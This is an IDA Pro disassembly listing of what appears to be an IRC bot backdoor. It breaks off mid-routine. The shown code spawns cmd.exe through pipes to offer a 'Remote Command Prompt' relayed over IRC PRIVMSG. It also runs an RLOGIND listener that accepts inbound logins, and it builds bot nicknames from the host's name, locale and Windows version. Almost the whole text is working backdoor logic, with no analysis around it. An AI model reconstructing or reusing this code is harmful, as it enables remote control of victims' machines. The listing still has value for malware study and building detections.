sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4104A0 proc near ; CODE XREF: sub_4104D0+30p ; sub_41050E+85p ... mov eax, dword_480AF4 cmp eax, 0FFFFFFFFh push esi mov esi, dword_42202C jz short loc_4104B4 push eax call esi ; CloseHandle loc_4104B4: ; CODE XREF: sub_4104A0+Fj mov eax, dword_480AF0 cmp eax, 0FFFFFFFFh jz short loc_4104C1 push eax call esi ; CloseHandle loc_4104C1: ; CODE XREF: sub_4104A0+1Cj mov eax, dword_480B2C cmp eax, 0FFFFFFFFh jz short loc_4104CE push eax call esi ; CloseHandle loc_4104CE: ; CODE XREF: sub_4104A0+29j pop esi retn sub_4104A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4104D0 proc near ; CODE XREF: sub_409848+3D95p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] lea edx, [eax+1] loc_4104DA: ; CODE XREF: sub_4104D0+Fj mov cl, [eax] inc eax test cl, cl jnz short loc_4104DA push 0 lea ecx, [ebp+var_4] push ecx sub eax, edx push eax push [ebp+arg_0] mov [ebp+var_4], eax push dword_480AE8 call dword_422030 ; WriteFile test eax, eax jnz short loc_410509 call sub_4104A0 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_410509: ; CODE XREF: sub_4104D0+2Ej xor eax, eax inc eax leave retn sub_4104D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41050E proc near ; CODE XREF: sub_41059C+D9p ; sub_41059C+11Fp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi mov esi, [ebp+arg_4] xor ecx, ecx push edi inc ecx mov edi, 422B02h xor eax, eax repe cmpsb pop edi pop esi jz short loc_410553 push 0FAh call dword_422000 ; Sleep push [ebp+arg_8] lea eax, [ebp+var_200] push [ebp+arg_4] push offset aPrivmsgSS ; "PRIVMSG %s :%s\r" push eax call sub_416975 add esp, 10h jmp short loc_41056A ; --------------------------------------------------------------------------- loc_410553: ; CODE XREF: sub_41050E+1Cj push [ebp+arg_8] lea eax, [ebp+var_200] push offset aS_2 ; "%s" push eax call sub_416975 add esp, 0Ch loc_41056A: ; CODE XREF: sub_41050E+43j lea eax, [ebp+var_200] lea edx, [eax+1] loc_410573: ; CODE XREF: sub_41050E+6Aj mov cl, [eax] inc eax test cl, cl jnz short loc_410573 push 0 sub eax, edx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_43A458 ; send test eax, eax jg short loc_410598 call sub_4104A0 loc_410598: ; CODE XREF: sub_41050E+83j xor eax, eax leave retn sub_41050E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41059C proc near ; DATA XREF: sub_410729+16Ao var_20C = byte ptr -20Ch var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi xor eax, eax mov ebx, 80h mov ecx, ebx lea edi, [ebp+var_20C] rep stosd xor edi, edi push edi push edi lea eax, [ebp+var_4] push eax mov esi, 200h push esi lea eax, [ebp+var_20C] push eax push dword_480AF4 call dword_42210C ; PeekNamedPipe test eax, eax jz loc_4106AB jmp short loc_4105E6 ; --------------------------------------------------------------------------- loc_4105E4: ; CODE XREF: sub_41059C+109j xor edi, edi loc_4105E6: ; CODE XREF: sub_41059C+46j cmp [ebp+var_4], edi jnz short loc_410616 lea eax, [ebp+var_8] push eax push dword_480B2C call dword_422108 ; GetExitCodeProcess test eax, eax jz short loc_41060C cmp [ebp+var_8], 103h jnz loc_4106D8 loc_41060C: ; CODE XREF: sub_41059C+61j push 0Ah call dword_422000 ; Sleep jmp short loc_41067D ; --------------------------------------------------------------------------- loc_410616: ; CODE XREF: sub_41059C+4Dj xor eax, eax cmp [ebp+var_4], edi jbe short loc_410631 loc_41061D: ; CODE XREF: sub_41059C+93j cmp [ebp+eax+var_20C], 0Ah jz loc_4106CF inc eax cmp eax, [ebp+var_4] jb short loc_41061D loc_410631: ; CODE XREF: sub_41059C+7Fj mov [ebp+var_4], esi loc_410634: ; CODE XREF: sub_41059C+137j xor eax, eax push eax mov ecx, ebx lea edi, [ebp+var_20C] rep stosd lea eax, [ebp+var_C] push eax push [ebp+var_4] lea eax, [ebp+var_20C] push eax push dword_480AF4 call dword_42208C ; ReadFile test eax, eax jz loc_410700 lea eax, [ebp+var_20C] push eax push offset dword_480AF8 push dword_480AEC call sub_41050E add esp, 0Ch loc_41067D: ; CODE XREF: sub_41059C+78j xor eax, eax push eax push eax mov ecx, ebx lea edi, [ebp+var_20C] rep stosd lea eax, [ebp+var_4] push eax push esi lea eax, [ebp+var_20C] push eax push dword_480AF4 call dword_42210C ; PeekNamedPipe test eax, eax jnz loc_4105E4 loc_4106AB: ; CODE XREF: sub_41059C+40j push offset aCmdCouldNotRea ; "[CMD]: Could not read data from procces"... push offset dword_480AF8 push dword_480AEC call sub_41050E push [ebp+arg_0] call sub_4139F6 add esp, 10h push 1 jmp short loc_410722 ; --------------------------------------------------------------------------- loc_4106CF: ; CODE XREF: sub_41059C+89j inc eax mov [ebp+var_4], eax jmp loc_410634 ; --------------------------------------------------------------------------- loc_4106D8: ; CODE XREF: sub_41059C+6Aj call sub_4104A0 push offset aCmdProccessHas ; "[CMD]: Proccess has terminated.\r\n" push offset dword_480AF8 push dword_480AEC call sub_41050E push [ebp+arg_0] call sub_4139F6 add esp, 10h push edi jmp short loc_410722 ; --------------------------------------------------------------------------- loc_410700: ; CODE XREF: sub_41059C+C1j push offset aCmdCouldNotR_0 ; "[CMD]: Could not read data from procces"... push offset dword_480AF8 push dword_480AEC call sub_41050E push [ebp+arg_0] call sub_4139F6 add esp, 10h push 0 loc_410722: ; CODE XREF: sub_41059C+131j ; sub_41059C+162j call dword_422014 ; ExitThread int 3 ; Trap to Debugger sub_41059C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410729 proc near ; CODE XREF: sub_409848+4C83p var_378 = byte ptr -378h var_178 = byte ptr -178h var_74 = dword ptr -74h var_48 = dword ptr -48h var_44 = word ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 378h push esi call sub_4104A0 xor esi, esi push esi lea eax, [ebp+var_178] push eax push 104h push esi push offset aCmd_exe ; "cmd.exe" push esi call dword_43A3DC ; SearchPathA test eax, eax jnz short loc_410760 or eax, 0FFFFFFFFh jmp loc_4108D5 ; --------------------------------------------------------------------------- loc_410760: ; CODE XREF: sub_410729+2Dj push ebx push edi mov edi, dword_422114 push esi lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_C] push eax xor ebx, ebx lea eax, [ebp+var_10] inc ebx push eax mov [ebp+var_1C], 0Ch mov [ebp+var_14], ebx mov [ebp+var_18], esi call edi ; CreatePipe test eax, eax jnz short loc_410793 loc_41078B: ; CODE XREF: sub_410729+7Bj ; sub_410729+9Dj ... or eax, 0FFFFFFFFh jmp loc_4108D3 ; --------------------------------------------------------------------------- loc_410793: ; CODE XREF: sub_410729+60j push esi lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax call edi ; CreatePipe test eax, eax jz short loc_41078B mov edi, dword_4220E0 push 3 push esi push esi push offset dword_480AE8 call edi ; GetCurrentProcess push eax push [ebp+var_8] call edi ; GetCurrentProcess push eax call dword_422110 ; DuplicateHandle test eax, eax jz short loc_41078B xor eax, eax lea edi, [ebp+var_2C] stosd stosd stosd push 11h pop ecx stosd xor eax, eax lea edi, [ebp+var_74] rep stosd mov eax, [ebp+var_4] mov [ebp+var_3C], eax mov eax, [ebp+var_C] mov [ebp+var_38], eax mov [ebp+var_34], eax lea eax, [ebp+var_2C] push eax lea eax, [ebp+var_74] push eax push esi push esi push esi push ebx push esi push esi mov ebx, 422B02h push ebx lea eax, [ebp+var_178] push eax mov [ebp+var_74], 44h mov [ebp+var_48], 101h mov [ebp+var_44], si call dword_422044 ; CreateProcessA test eax, eax jz loc_41078B push [ebp+var_4] mov edi, dword_42202C call edi ; CloseHandle mov eax, [ebp+var_10] push [ebp+var_28] mov dword_480AF4, eax mov eax, [ebp+var_8] mov dword_480AF0, eax mov eax, [ebp+var_2C] mov dword_480B2C, eax call edi ; CloseHandle cmp [ebp+arg_4], esi mov eax, [ebp+arg_0] mov dword_480AEC, eax jz short loc_41085F push [ebp+arg_4] jmp short loc_410860 ; --------------------------------------------------------------------------- loc_41085F: ; CODE XREF: sub_410729+12Fj push ebx loc_410860: ; CODE XREF: sub_410729+134j push offset dword_480AF8 call sub_416975 pop ecx pop ecx push esi push 8 push offset aCmdRemoteComma ; "[CMD]: Remote Command Prompt" call sub_413732 mov ecx, [ebp+var_24] mov edi, eax imul edi, 234h add esp, 0Ch mov dword_43B268[edi], ecx lea ecx, [ebp+var_30] push ecx push esi push eax push offset sub_41059C push esi push esi call dword_42200C ; CreateThread cmp eax, esi mov dword_43B274[edi], eax jnz short loc_4108D1 call dword_422008 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_378] push offset aCmdFailedToSta ; "[CMD]: Failed to start IO thread, error"... push eax call sub_416975 lea eax, [ebp+var_378] push eax call sub_401F0F add esp, 10h loc_4108D1: ; CODE XREF: sub_410729+17Fj xor eax, eax loc_4108D3: ; CODE XREF: sub_410729+65j pop edi pop ebx loc_4108D5: ; CODE XREF: sub_410729+32j pop esi leave retn sub_410729 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4108D8 proc near ; CODE XREF: sub_410970+A6p ; sub_410970+B6p ... var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi mov esi, eax loc_4108DF: ; CODE XREF: sub_4108D8+2Aj push 0 push 1 lea eax, [ebp+var_1] push eax push [ebp+arg_0] call dword_43A324 ; recv cmp eax, 1 jnz short loc_410915 mov al, [ebp+var_1] mov [esi], al inc esi dec [ebp+arg_4] jz short loc_41090A test al, al jnz short loc_4108DF xor eax, eax inc eax loc_410907: ; CODE XREF: sub_4108D8+3Fj pop esi leave retn ; --------------------------------------------------------------------------- loc_41090A: ; CODE XREF: sub_4108D8+26j push offset aRlogindProtoco ; "[RLOGIND]: Protocol string too long." call sub_401F83 pop ecx loc_410915: ; CODE XREF: sub_4108D8+1Bj xor eax, eax jmp short loc_410907 sub_4108D8 endp ; =============== S U B R O U T I N E ======================================= sub_410919 proc near ; DATA XREF: sub_410B7C+5Ao arg_0 = dword ptr 4 xor eax, eax cmp [esp+arg_0], eax setz al retn sub_410919 endp ; =============== S U B R O U T I N E ======================================= sub_410923 proc near ; CODE XREF: sub_410970+175p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] loc_410928: ; CODE XREF: sub_410923+21j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_41094A test cl, cl jz short loc_410946 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_41094A inc eax inc eax inc esi inc esi test cl, cl jnz short loc_410928 loc_410946: ; CODE XREF: sub_410923+Fj xor eax, eax jmp short loc_41094F ; --------------------------------------------------------------------------- loc_41094A: ; CODE XREF: sub_410923+Bj ; sub_410923+19j sbb eax, eax sbb eax, 0FFFFFFFFh loc_41094F: ; CODE XREF: sub_410923+25j test eax, eax pop esi jz short loc_41096C push [esp+arg_4] push [esp+4+arg_0] push offset aRlogindLoginRe ; "[RLOGIND]: Login rejected, Remote user:"... call sub_401F83 add esp, 0Ch xor eax, eax retn ; --------------------------------------------------------------------------- loc_41096C: ; CODE XREF: sub_410923+2Fj xor eax, eax inc eax retn sub_410923 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=74h sub_410970 proc near ; DATA XREF: sub_410B7C+19Fo var_3D4 = byte ptr -3D4h var_350 = byte ptr -350h var_208 = dword ptr -208h var_1F4 = dword ptr -1F4h var_1F0 = dword ptr -1F0h var_F0 = byte ptr -0F0h var_B0 = byte ptr -0B0h var_4C = byte ptr -4Ch var_3C = byte ptr -3Ch var_2C = byte ptr -2Ch var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp lea ebp, [esp-74h] sub esp, 3D4h mov eax, [ebp+74h+arg_0] push ebx push esi push edi push 78h pop ecx mov esi, eax lea edi, [ebp+74h+var_3D4] rep movsd mov esi, [ebp+74h+var_208] mov [ebp+74h+arg_0], esi imul esi, 234h xor edi, edi inc edi mov [eax+1DCh], edi mov eax, dword_43B26C[esi] mov [ebp+74h+var_1F0], eax xor ebx, ebx lea eax, [ebp+74h+var_C] push eax push ebx push ebx lea eax, [ebp+74h+var_1F4] push eax push ebx mov [ebp+74h+var_C], 1Eh mov [ebp+74h+var_8], ebx mov [ebp+74h+var_1F4], edi call dword_43A468 ; select test eax, eax jnz short loc_4109F9 push dword_43B26C[esi] call dword_43A4D0 ; closesocket push [ebp+74h+var_208] loc_4109EE: ; CODE XREF: sub_410970+1A2j call sub_4139F6 pop ecx jmp loc_410B74 ; --------------------------------------------------------------------------- loc_4109F9: ; CODE XREF: sub_410970+6Aj push ebx push edi lea eax, [ebp+74h+var_3C] push eax push dword_43B26C[esi] call dword_43A324 ; recv push 10h push dword_43B26C[esi] lea eax, [ebp+74h+var_2C] call sub_4108D8 push 10h push dword_43B26C[esi] lea eax, [ebp+74h+var_4C] call sub_4108D8 push 40h push dword_43B26C[esi] lea eax, [ebp+74h+var_F0] call sub_4108D8 add esp, 18h lea eax, [ebp+74h+var_4] push eax lea eax, [ebp+74h+var_1C] push eax push dword_43B26C[esi] mov [ebp+74h+var_4], 10h call dword_43A400 ; getpeername test eax, eax jz short loc_410A81 call dword_43A47C ; WSAGetLastError push eax push offset aRlogindErrorGe ; "[RLOGIND]: Error: getpeername(): <%d>." call sub_401F83 push [ebp+74h+var_208] call sub_4139F6 add esp, 0Ch jmp loc_410B74 ; --------------------------------------------------------------------------- loc_410A81: ; CODE XREF: sub_410970+EBj push 2 push 4 lea eax, [ebp+74h+var_18] push eax call dword_43A4B4 ; gethostbyaddr cmp eax, ebx jnz short loc_410AAA push [ebp+74h+var_18] call dword_43A440 ; inet_ntoa push eax lea eax, [ebp+74h+var_B0] push eax call sub_416975 pop ecx pop ecx jmp short loc_410AB9 ; --------------------------------------------------------------------------- loc_410AAA: ; CODE XREF: sub_410970+121j mov ecx, [eax] lea edx, [ebp+74h+var_B0] loc_410AAF: ; CODE XREF: sub_410970+147j mov al, [ecx] inc ecx mov [edx], al inc edx cmp al, bl jnz short loc_410AAF loc_410AB9: ; CODE XREF: sub_410970+138j push ebx push edi push 422B02h push dword_43B26C[esi] call dword_43A458 ; send cmp dword_480B34, ebx jnz short loc_410B17 push [ebp+74h+var_18] lea eax, [ebp+74h+var_B0] push eax lea eax, [ebp+74h+var_2C] push eax lea eax, [ebp+74h+var_350] call sub_410923 add esp, 0Ch test eax, eax jnz short loc_410B17 push ebx push 13h push offset aPermissionDeni ; "Permission denied\n" lea esi, dword_43B26C[esi] push dword ptr [esi] call dword_43A458 ; send push dword ptr [esi] call dword_43A4D0 ; closesocket push [ebp+74h+arg_0] jmp loc_4109EE ; --------------------------------------------------------------------------- loc_410B17: ; CODE XREF: sub_410970+162j ; sub_410970+17Fj lea eax, [ebp+74h+var_B0] push eax lea eax, [ebp+74h+var_2C] push eax push offset aRlogindUserLog ; "[RLOGIND]: User logged in: <%s@%s>." call sub_401F83 push [ebp+74h+arg_0] call sub_411D59 add esp, 10h test eax, eax jnz short loc_410B57 call dword_422008 ; RtlGetLastWin32Error push eax push offset aRlogindErrorSe ; "[RLOGIND]: Error: SessionRun(): <%d>." call sub_401F83 push [ebp+74h+arg_0] call sub_4139F6 add esp, 0Ch push edi jmp short loc_410B75 ; --------------------------------------------------------------------------- loc_410B57: ; CODE XREF: sub_410970+1C6j lea eax, [ebp+74h+var_B0] push eax lea eax, [ebp+74h+var_2C] push eax push offset aRlogindUserL_0 ; "[RLOGIND]: User logged out: <%s@%s>." call sub_401F83 push [ebp+74h+arg_0] call sub_4139F6 add esp, 10h loc_410B74: ; CODE XREF: sub_410970+84j ; sub_410970+10Cj push ebx loc_410B75: ; CODE XREF: sub_410970+1E5j call dword_422014 ; ExitThread int 3 ; Trap to Debugger sub_410970 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410B7C proc near ; DATA XREF: sub_409848+4B42o var_5A8 = byte ptr -5A8h var_418 = byte ptr -418h var_218 = dword ptr -218h var_214 = byte ptr -214h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5A8h mov eax, [ebp+arg_0] push ebx push esi push edi push 78h pop ecx mov esi, eax lea edi, [ebp+var_218] rep movsd xor esi, esi inc esi mov [eax+1DCh], esi lea eax, [ebp+var_5A8] push eax push 202h call dword_43A3CC ; WSAStartup xor ebx, ebx cmp eax, ebx jz short loc_410BD5 push eax push offset aRlogindErrorWs ; "[RLOGIND]: Error: WSAStartup(): <%d>." call sub_401F83 push [ebp+var_50] call sub_4139F6 add esp, 0Ch loc_410BCF: ; CODE XREF: sub_410B7C+8Bj push esi jmp loc_410DF1 ; --------------------------------------------------------------------------- loc_410BD5: ; CODE XREF: sub_410B7C+3Bj push esi push offset sub_410919 call dword_422118 ; SetConsoleCtrlHandler test eax, eax jnz short loc_410C09 call dword_422008 ; RtlGetLastWin32Error push eax push offset aRlogindFaile_0 ; "[RLOGIND]: Failed to install control-C "... call sub_401F83 pop ecx pop ecx call dword_43A4DC ; WSACleanup push [ebp+var_50] call sub_4139F6 pop ecx jmp short loc_410BCF ; --------------------------------------------------------------------------- loc_410C09: ; CODE XREF: sub_410B7C+67j push [ebp+var_54] xor eax, eax lea edi, [ebp+var_24] stosd stosd stosd stosd mov [ebp+var_24], 2 call dword_43A514 ; ntohs push 6 push esi push 2 mov [ebp+var_22], ax mov [ebp+var_20], ebx call dword_43A3BC ; socket cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_410D81 mov ecx, [ebp+var_50] imul ecx, 234h push 10h pop edi mov dword_43B26C[ecx], eax push edi lea ecx, [ebp+var_24] push ecx push eax call dword_43A49C ; bind test eax, eax jnz loc_410D81 push 7FFFFFFFh push [ebp+arg_0] call dword_43A4E8 ; listen test eax, eax jnz loc_410D81 push offset aRlogindReadyAn ; "[RLOGIND]: Ready and waiting for incomi"... mov [ebp+var_14], 0Ch mov [ebp+var_10], ebx mov [ebp+var_C], ebx call sub_401F0F pop ecx mov [ebp+var_8], esi jmp loc_410D60 ; --------------------------------------------------------------------------- loc_410C9B: ; CODE XREF: sub_410B7C+1FDj push [ebp+var_8] lea eax, [ebp+var_8] push eax push 8 push 0FFFFh push esi call dword_43A3D8 ; setsockopt cmp eax, 0FFFFFFFFh jz loc_410D60 push [ebp+var_50] movzx eax, [ebp+var_32] push eax push [ebp+var_30] mov [ebp+var_3C], ebx call dword_43A440 ; inet_ntoa push eax lea eax, [ebp+var_418] push offset aRlogindClientC ; "[RLOGIND]: Client connection from IP: %"... push eax call sub_416975 lea eax, [ebp+var_418] push eax call sub_401F0F push esi lea eax, [ebp+var_418] push 7 push eax call sub_413732 mov ecx, [ebp+var_50] mov [ebp+var_4C], eax imul eax, 234h add esp, 24h mov dword_43B264[eax], ecx lea eax, [ebp+var_38] push eax push ebx lea eax, [ebp+var_218] push eax push offset sub_410970 push ebx lea eax, [ebp+var_14] push eax call dword_42200C ; CreateThread mov ecx, [ebp+var_4C] imul ecx, 234h cmp eax, ebx mov dword_43B274[ecx], eax jnz short loc_410D5B call dword_422008 ; RtlGetLastWin32Error push eax push offset aRlogindFaile_1 ; "[RLOGIND]: Failed to start client threa"... call sub_401F83 pop ecx pop ecx jmp short loc_410D84 ; --------------------------------------------------------------------------- loc_410D53: ; CODE XREF: sub_410B7C+1E2j push 32h call dword_422000 ; Sleep loc_410D5B: ; CODE XREF: sub_410B7C+1C0j cmp [ebp+var_3C], ebx jz short loc_410D53 loc_410D60: ; CODE XREF: sub_410B7C+11Aj ; sub_410B7C+137j lea eax, [ebp+var_4] push eax lea eax, [ebp+var_34] push eax push [ebp+arg_0] mov [ebp+var_4], edi call dword_43A37C ; accept mov esi, eax cmp esi, 0FFFFFFFFh jnz loc_410C9B jmp short loc_410D84 ; --------------------------------------------------------------------------- loc_410D81: ; CODE XREF: sub_410B7C+BDj ; sub_410B7C+E3j ... mov esi, [ebp+arg_0] loc_410D84: ; CODE XREF: sub_410B7C+1D5j ; sub_410B7C+203j call dword_43A47C ; WSAGetLastError push eax lea eax, [ebp+var_418] push offset aRlogindError_0 ; "[RLOGIND]: Error: server failed, return"... push eax call sub_416975 add esp, 0Ch cmp [ebp+var_40], ebx jnz short loc_410DC4 push ebx push [ebp+var_44] lea eax, [ebp+var_418] push eax lea eax, [ebp+var_214] push eax push [ebp+var_218] call sub_405D62 add esp, 14h loc_410DC4: ; CODE XREF: sub_410B7C+226j lea eax, [ebp+var_418] push eax call sub_401F0F pop ecx push esi call dword_43A4D0 ; closesocket push [ebp+arg_0] call dword_43A4D0 ; closesocket call dword_43A4DC ; WSACleanup push [ebp+var_50] call sub_4139F6 pop ecx push ebx loc_410DF1: ; CODE XREF: sub_410B7C+54j call dword_422014 ; ExitThread int 3 ; Trap to Debugger sub_410B7C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_410DF8 proc near ; CODE XREF: sub_411114+6Cp ; DATA XREF: .text:off_4301D8o var_C = dword ptr -0Ch arg_0 = dword ptr 4 push esi push edi call dword_422004 ; GetTickCount push eax call sub_416B24 mov edi, [esp+0Ch+arg_0] mov [esp+0Ch+var_C], offset aSoul ; "[SOUL]" push offset aS_2 ; "%s" push 1Ch push edi call sub_416BCD xor esi, esi add esp, 10h cmp dword_42FCD8, esi jle short loc_410E51 loc_410E2B: ; CODE XREF: sub_410DF8+57j call sub_416B31 push 0Ah pop ecx cdq idiv ecx push edx push edi push offset aSI ; "%s%i" push 1Ch push edi call sub_416BCD add esp, 14h inc esi cmp esi, dword_42FCD8 jl short loc_410E2B loc_410E51: ; CODE XREF: sub_410DF8+31j mov eax, edi pop edi pop esi retn sub_410DF8 endp ; =============== S U B R O U T I N E ======================================= sub_410E56 proc near ; CODE XREF: sub_409848+32FFp arg_0 = dword ptr 4 push ebx push esi push edi call dword_422004 ; GetTickCount push eax call sub_416B24 pop ecx call sub_416B31 push 3 cdq pop ecx idiv ecx mov ebx, [esp+0Ch+arg_0] xor edi, edi mov esi, edx add esi, dword_42FCD8 test esi, esi jle short loc_410E99 loc_410E83: ; CODE XREF: sub_410E56+41j call sub_416B31 push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [edi+ebx], dl inc edi cmp edi, esi jl short loc_410E83 loc_410E99: ; CODE XREF: sub_410E56+2Bj and byte ptr [edi+ebx], 0 pop edi pop esi mov eax, ebx pop ebx retn sub_410E56 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push esi push edi mov dword ptr [ebp-4], 100h call dword_422004 ; GetTickCount push eax call sub_416B24 pop ecx lea eax, [ebp-4] push eax mov esi, offset aPc ; "PC" push esi call dword_4220DC ; GetComputerNameA mov edi, [ebp+8] push esi push 1Ch push edi call sub_416BCD xor esi, esi add esp, 0Ch cmp dword_42FCD8, esi jle short loc_410F0C loc_410EE6: ; CODE XREF: .text:00410F0Aj call sub_416B31 push 0Ah pop ecx cdq idiv ecx push edx push edi push offset aSI ; "%s%i" push 1Ch push edi call sub_416BCD add esp, 14h inc esi cmp esi, dword_42FCD8 jl short loc_410EE6 loc_410F0C: ; CODE XREF: .text:00410EE4j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi call dword_422004 ; GetTickCount push eax call sub_416B24 pop ecx push 0Ah lea eax, [ebp-0Ch] push eax push 7 push 800h call dword_42211C ; GetLocaleInfoA mov edi, [ebp+8] lea eax, [ebp-0Ch] push eax push offset aS_2 ; "%s" push 1Ch push edi call sub_416BCD xor esi, esi add esp, 10h cmp dword_42FCD8, esi jle short loc_410F81 loc_410F5B: ; CODE XREF: .text:00410F7Fj call sub_416B31 push 0Ah pop ecx cdq idiv ecx push edx push edi push offset aSI ; "%s%i" push 1Ch push edi call sub_416BCD add esp, 14h inc esi cmp esi, dword_42FCD8 jl short loc_410F5B loc_410F81: ; CODE XREF: .text:00410F59j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp lea ebp, [esp-74h] sub esp, 94h push esi push edi lea eax, [ebp-20h] push eax mov esi, 422B02h mov dword ptr [ebp-20h], 94h call dword_422120 ; GetVersionExA call dword_422004 ; GetTickCount push eax call sub_416B24 cmp dword ptr [ebp-1Ch], 4 pop ecx jnz short loc_410FF5 cmp dword ptr [ebp-18h], 0 jnz short loc_410FDB cmp dword ptr [ebp-10h], 1 jnz short loc_410FCE mov esi, offset a95 ; "95" loc_410FCE: ; CODE XREF: .text:00410FC7j cmp dword ptr [ebp-10h], 2 jnz short loc_411025 mov esi, offset aNt ; "NT" jmp short loc_411025 ; --------------------------------------------------------------------------- loc_410FDB: ; CODE XREF: .text:00410FC1j cmp dword ptr [ebp-18h], 0Ah jnz short loc_410FE8 mov esi, offset a98 ; "98" jmp short loc_411025 ; --------------------------------------------------------------------------- loc_410FE8: ; CODE XREF: .text:00410FDFj cmp dword ptr [ebp-18h], 5Ah jnz short loc_411020 mov esi, offset aMe_0 ; "ME" jmp short loc_411025 ; --------------------------------------------------------------------------- loc_410FF5: ; CODE XREF: .text:00410FBBj cmp dword ptr [ebp-1Ch], 5 jnz short loc_411020 cmp dword ptr [ebp-18h], 0 jnz short loc_411008 mov esi, offset a2k ; "2K" jmp short loc_411025 ; --------------------------------------------------------------------------- loc_411008: ; CODE XREF: .text:00410FFFj cmp dword ptr [ebp-18h], 1 jnz short loc_411015 mov esi, offset aXp_0 ; "XP" jmp short loc_411025 ; --------------------------------------------------------------------------- loc_411015: ; CODE XREF: .text:0041100Cj cmp dword ptr [ebp-18h], 2 mov esi, offset a2k3 ; "2K3" jz short loc_411025 loc_411020: ; CODE XREF: .text:00410FECj ; .text:00410FF9j mov esi, offset a??? ; "???" loc_411025: ; CODE XREF: .text:00410FD2j ; .text:00410FD9j ... mov edi, [ebp+7Ch] push esi push offset aS_6 ; "[%s]" push 1Ch push edi call sub_416BCD xor esi, esi add esp, 10h cmp dword_42FCD8, esi jle short loc_411069 loc_411043: ; CODE XREF: .text:00411067j call sub_416B31 push 0Ah pop ecx cdq idiv ecx push edx push edi push offset aSI ; "%s%i" push 1Ch push edi call sub_416BCD add esp, 14h inc esi cmp esi, dword_42FCD8 jl short loc_411043 loc_411069: ; CODE XREF: .text:00411041j mov eax, edi pop edi pop esi add ebp, 74h leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411072 proc near ; CODE XREF: sub_411114+80p var_1C = byte ptr -1Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push esi call dword_422004 ; GetTickCount xor edx, edx mov ecx, 5265C00h div ecx push 0 push offset aMirc_0 ; "mIRC" mov esi, eax call dword_43A418 ; FindWindowA cmp esi, 1 jbe short loc_4110C1 test eax, eax mov eax, offset aM_0 ; "[M]" jnz short loc_4110AA mov eax, 422B02h loc_4110AA: ; CODE XREF: sub_411072+31j push eax push esi push offset aDS ; "[%d]%s" lea eax, [ebp+var_1C] push 1Ch push eax call sub_416BCD add esp, 14h jmp short loc_4110DB ; --------------------------------------------------------------------------- loc_4110C1: ; CODE XREF: sub_411072+28j test eax, eax mov eax, offset aM_0 ; "[M]" jnz short loc_4110CF mov eax, 422B02h loc_4110CF: ; CODE XREF: sub_411072+56j push eax lea eax, [ebp+var_1C] push eax call sub_416975 pop ecx pop ecx loc_4110DB: ; CODE XREF: sub_411072+4Dj lea eax, [ebp+var_1C] lea edx, [eax+1] pop esi loc_4110E2: ; CODE XREF: sub_411072+75j mov cl, [eax] inc eax test cl, cl jnz short loc_4110E2 sub eax, edx cmp eax, 2 jbe short loc_41110F push 1Ch push [ebp+arg_0] lea eax, [ebp+var_1C] push eax call sub_416840 push 1Ch lea eax, [ebp+var_1C] push eax push [ebp+arg_0] call sub_416A00 add esp, 18h loc_41110F: ; CODE XREF: sub_411072+7Cj mov eax, [ebp+arg_0] leave retn sub_411072 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411114 proc near ; CODE XREF: sub_40946D+53p ; sub_4096E9+45p ... arg_0 = dword ptr 8 arg_4 = dword ptr 